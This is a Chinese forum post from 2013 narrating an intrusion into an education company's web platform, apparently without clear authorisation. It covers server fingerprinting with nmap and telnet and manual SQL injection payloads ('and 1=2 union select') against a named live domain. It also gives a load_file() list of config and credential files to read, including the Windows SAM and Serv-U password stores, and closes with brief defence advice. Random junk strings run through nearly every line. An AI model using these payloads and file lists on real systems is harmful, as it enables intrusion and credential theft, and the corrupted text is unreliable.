找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
( H! r, P' k8 T0 W) z8 L4 y$ Y) m一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
  F$ d) H5 w5 R; i! b8 t. F第一步:获取需要的信息
3 i% |9 S( k+ D% s2 u由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
9 ~/ e) ~, W  K' k' t; G0 _注:以下为保护特用XXX代替敏感信息  b. [! i2 _) s1 W$ l0 O
顺手先PING了一下他们的域名:) N2 E' U7 i+ {9 p* P1 T8 c  A+ [
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)% }' ~1 [/ p- j) d6 E1 x- s+ s. |) K
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
% k* B% S: B( Z3 k( `. X; v3 ]顺便了解一下TTL,学好基础知识才能一路顺风:
/ M  t" `8 Q2 X$ g5 c0 f! G% HTTL:(Time To Live ) 生存时间1 E" U3 E/ ^& V& o) q, k" h
指定数据包被路由器丢弃之前允许通过的网段数量。
. u0 i+ I# E1 z: d+ BTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。' ~" W& r7 B0 e$ C( h# t6 o
使用PING时涉及到的 ICMP 报文类型8 P; K* k5 J/ ]) N# ~
一个为ICMP请求回显(ICMP Echo Request)5 C% {8 R; N$ G) O7 W1 y* a3 W
一个为ICMP回显应答(ICMP Echo Reply)
( D# f  D- W, w2 PTTL 字段值可以帮助我们识别操作系统类型。# n' @/ \# o7 X& T, w( t
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255* S% |1 [( u+ l  ]3 X1 R
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, C8 z. X! p& t: _" b
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
" ^- Q. x- n6 Z3 Z- Z" W微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 324 e4 M7 u5 f" P/ y: U' N* m3 }; J5 C
当然,返回的TTL值是相同的
' y0 M2 V* p" p7 M# i但有些情况下有所特殊
" c1 f, M. t- V- J+ ]LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
: `2 k* @, g1 g) K' Q" |FreeBSD 4.1, 4.0, 3.4;
0 a, t; @& P$ f( O' A  ?! M* VSun Solaris 2.5.1, 2.6, 2.7, 2.8;
0 z& m8 w4 G$ @! ~# POpenBSD 2.6, 2.7,
) s% h- Q6 `" T$ P$ n% mNetBSD
& w/ @: `$ D* a9 `HP UX 10.20
# g5 I" b2 M- h( M. V7 TICMP 回显应答的 TTL 字段值为 255
1 @: U& Y* M+ YWindows 95/98/98SE
6 U/ b$ Y; u, f7 Q1 k0 JWindows ME# E- K5 u) R  ?! t$ w3 g
ICMP 回显应答的 TTL 字段值为 32
0 Y7 o4 a0 R3 c+ BWindows NT4 WRKS, O- a3 z6 e! B1 b' ^) O0 i" q- o- F
Windows NT4 Server' ^; t  J0 x/ B, K5 G! ^/ G
Windows 2000
- D9 ~* D& p& OWindows XP
9 t2 D$ s6 ?( u( X3 W6 i0 ZICMP 回显应答的 TTL 字段值为 128
. [  g4 L1 x) f$ s- d这样,我们就可以通过这种方法来辨别操作系统. G: }- {3 X% @9 u
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
4 W  T; B8 ~, o1 {4 d+ Y6 B用NMAP扫描一下:9 {/ j2 v0 c0 }- S' n
nmap -sT -O XXX.XXX.XXX.XXX2 y. r3 h4 i8 L6 e/ p
如果没有装WinPcap则会弹出提示:
/ x4 @, P4 x2 Y' }WARNING: Could not import all necessary WinPcap functions.  You may need to upgr! G4 w2 \* c8 Y9 j8 p6 o
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
6 U2 u! J& T7 ]* H5 v4 t) mode — Nmap may not function completely
# y. d" S$ }3 ^TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
: g; c8 l1 o& H! O0 G* |and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win! Z0 `: o9 E  v* K
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an8 C# `9 E; C6 q# `. v, A3 l
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v' b- U- j! V; B" S
ersions, you may be able to take iphlpapi.dll from another system and place it i
& B0 ]; a' p5 i9 y8 Un your system32 dir (e.g. c:\windows\system32).
, l! H: [% V8 T1 e# @! O2 O# \QUITTING!1 J; v4 G, z' s5 K* |
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 i3 ^: n% A5 L* X安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
7 x7 \3 w# I" _$ H1 H- hInteresting ports on XXX.XXX.XXX.XXX:
$ Q# _2 l. a1 ^- Q9 ONot shown: 986 closed ports
, k1 E1 e1 {' \. d0 VPORT     STATE    SERVICE
& h) D$ x. L6 N- c* H5 V3 p, _6 g21/tcp   open     ftp
6 s- t- @! s; V, Q9 y  M22/tcp   open     ssh+ M# y8 m9 ~3 z: E( M0 ^, F7 p) P
23/tcp   open     telnet
0 {  l! X+ ^3 z2 A- L9 H80/tcp   open     http
1 ]* N5 @. \; f8 ^# x/ n) I111/tcp  open     rpcbind# ~- `# K( E3 M! j% {9 {2 k5 f' H
135/tcp  filtered msrpc
# i( S% F) T6 W- n' f4 j4 H139/tcp  filtered netbios-ssn. S2 t9 Z6 F) [8 L& b( D7 J# P
445/tcp  filtered microsoft-ds
  x9 V+ K; i1 y+ W8 Q* K6 E7 p513/tcp  open     login
" A1 \! o" u! i0 i. l% \# ^- N0 d( E  D514/tcp  open     shell
4 D) t" V8 ?  n( D0 B593/tcp  filtered http-rpc-epmap# f, Z' h! o5 D* `. H
1720/tcp filtered H.323/Q.9317 }! G  C( ]% T' C8 |0 O0 a4 g
3306/tcp open     mysql+ \( i; d: s+ @) [7 g( y" y7 W! R
4444/tcp filtered krb524
3 E! B5 T! Z, y0 O+ x2 M  `Device type: WAP2 D! u7 _! _: }, H6 y- J
Running: Linux 2.4.X
/ w$ O3 W7 g& lOS details: DD-WRT (Linux 2.4.35s)) g' `; ?. j: W# R& M  ?6 H7 f. V8 L
Network Distance: 13 hops$ D- G' f( R4 n0 o% {5 M. P
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:1 V2 N" |9 [8 f
login as:& `- O6 I- F3 C! V( G: |% R
Telnet23端口也是开着的,用telnet 命令链接一下:: T; ~- [$ [+ U. u6 e  P9 H/ b
telnet XXX.XXX.XXX.XXX
. S! s7 e- n% e9 H; h& z提示:, v% w, H, y6 j1 A" l
Red Hat Enterprise Linux Server release 5.2 (Tikanga)7 k$ d, l" y$ V3 T1 k9 O3 O, {, H/ z
Kernel 2.6.18-92.el5PAE on an i686
5 q( ^# q- U& s* mlogin:
3 P- z  g0 J& H获取HTTP头信息:
6 V" Q' @5 D# u1 O3 ^在本地执行如下PHP代码( ]9 ?6 {  e7 @8 E" S1 }8 n
<?php* a' k% _9 j: f
$url = ‘XXX.XXX.XXX.XXX’;
, X; B; d) s4 t4 L2 ^# C* Lprint_r(get_headers($url));
: N8 f* ?8 I+ z5 R# mprint_r(get_headers($url, 1));. C$ @9 J# F6 M8 y! ?; @% @6 r' I
?>3 v& q/ W" |+ s0 h6 Z
将以上代码保存为PHP文件,执行:
0 [* j/ A! S% L& T2 U  D, R: SArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )/ A4 C1 M, w  B3 s! \2 f
现在可以得出结论:
0 O5 n' ^9 v1 m) p+ K+ X: D4 e( H+ p$ `系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)0 U! N% Q0 \' l5 q" Z! c! f
内核版本:Kernel 2.6.18-92.el5PAE on an i686
- v: p4 w0 I2 C1 e( {, UWEB服务器版本:nginx/0.7.61
) c5 [+ u; x& |' q% N- Q) B) F  T4 C第二步,开始测试寻找漏洞% ~2 Z, H* _+ z0 _3 t7 t! [4 X
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
, a# i9 R. l" S! u8 R; H1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的* J" z% @- G7 f' F( F
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
/ X9 o5 g+ n9 G- U. Bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常6 U! v  B; U) O5 `
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
( X2 A4 Y- ~( m; O% @恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
& O, J7 B( |1 F) s3、手工注入:- r& l4 T- K7 C  L$ D& y, G
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。. S  A4 F( a' Z
3.1 猜测当前表字段数, M/ g3 p/ K( k1 t2 Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
) j. y- [' V3 w4 w  X0 ?此处猜测有个简单的算法,都是有技巧的吗,呵呵
, C/ c: c* f4 a% }* c* |2 q算法简单如下:9 `% f+ V4 i) h  r6 g8 T# R
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
" `8 R9 K6 A0 d第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;4 p4 i# E; h! ~
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。# z: m2 g, j" l: y+ T
以此来判断,是否过界,配合取中算法猜出字段数。7 @0 S% A5 N6 M. Z+ k$ a( m
举例:; r0 g1 Y7 @4 P: L
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常0 u& s8 B4 f  J  h9 t' ?8 W
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
( J; c* P! b9 y8 R# z此时3则为我们要找的字段数。
1 b  X5 O% I: t3.2 配合union联合查询字段在页面所位置
% @/ J* `6 @! F! v' @我们已经知道了字段数为3,此时则可以做如下操作:
! e3 S( \! ~& f5 n! D0 r" g; Phttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,33 q7 ^' K$ O) ~

7 N1 Q3 m/ N) D& E# @这样就可以测试到哪些字段在页面上有所显示了,如图:6 G  a, x3 C# |! p. D

% V1 Q: b  k6 o7 A0 C- Y3.3 查敏感信息
9 W1 }1 n7 }+ H  c这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
% ?+ F* I( }$ _  T, yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
( Q8 I1 d# W2 _2 a3.3.1 先查数据库用户、数据库名,以备后用,如图:" `: ?" D2 f1 O- E  Q3 p

+ n: @( N1 O  j得到数据库用户为root、数据库名为DBxx;$ @" ~9 k( |7 t, `
3.3.2 查配置文件3 g4 B1 Y& z, L  v' F6 a7 s
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
, c& [( ~1 y* _" v2 K. J7 G5 e查看文件有一定的条件限制:! W% C2 \, E& E5 t$ U
欲读取文件必须在服务器上
) p; @& u8 y+ r+ z% N必须指定文件完整的路径
9 X7 L6 U3 S, o' X必须有权限读取并且文件必须完全可读! R) \9 c$ ~/ _8 W+ T
欲读取文件必须小于 max_allowed_packet3 t; g- K6 Y8 y8 O
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
- Z1 M# u% L. J常用的一些:" g) F3 c3 ]1 K: }: d0 y
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 S9 Q# t% e3 A; a4 n! S/usr/local/apache2/conf/httpd.conf
+ k. ^- g7 j; E- G" K* P: J3 S4 y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  c4 p  Q% C$ `4 x1 z) f* s; E% A# |/usr/local/app/php5/lib/php.ini //PHP相关设置2 y7 R1 Q: T/ f( R  X. I, I% g
/etc/sysconfig/iptables //从中得到防火墙规则策略
+ K  X- ~, |  W4 \/etc/httpd/conf/httpd.conf // apache配置文件
- Z+ N. E' }& T! C8 c/etc/rsyncd.conf //同步程序配置文件
* @0 w; W5 V, `) D& I6 B/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
8 x" a, A  ^0 q: f/etc/my.cnf //mysql的配置文件
. ?5 c- m7 V6 h: _/etc/redhat-release //系统版本
* l, B6 n1 X3 w5 q1 v- z/etc/issue  D# x% ~+ v* w& C6 l5 g# }
/etc/issue.net
5 R( M. A- m7 V# h; `! y/ ]" n( nc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码. y/ t1 ?" a4 _% S+ C0 T
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
" _% i5 C$ [4 {# `- J7 lc:\Program Files\Serv-U\ServUDaemon.ini
7 x1 W) n) e( ^8 @c:\windows\my.ini //MYSQL配置文件7 K) t! p9 f1 g  M
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件2 h4 q0 |. f% @, \0 @
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,6 J! M2 ~  y  P8 [6 z0 t$ R+ v
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
( \; D7 c) ~" pc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
& J5 r% `6 b% b. w# {c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% ?) D* c- s1 j; mC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
  x7 W/ T5 o% M, r# A! x//存储了pcAnywhere的登陆密码
$ @5 m* [. O. k  h5 S( C由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
3 _, [* `5 J8 e9 E( I% t这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。( e* q9 I' m' Z3 ]$ l) k! n2 h. k
最后:防范措施( k7 H0 M% I3 }* H& x  L
1、修复PHP注入漏洞;
6 [/ D5 o: N6 q! q9 W  c3 a2、Mysql使用普通权限的用户;7 \+ _1 c. L/ x; ?  n# i8 v' H3 a
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表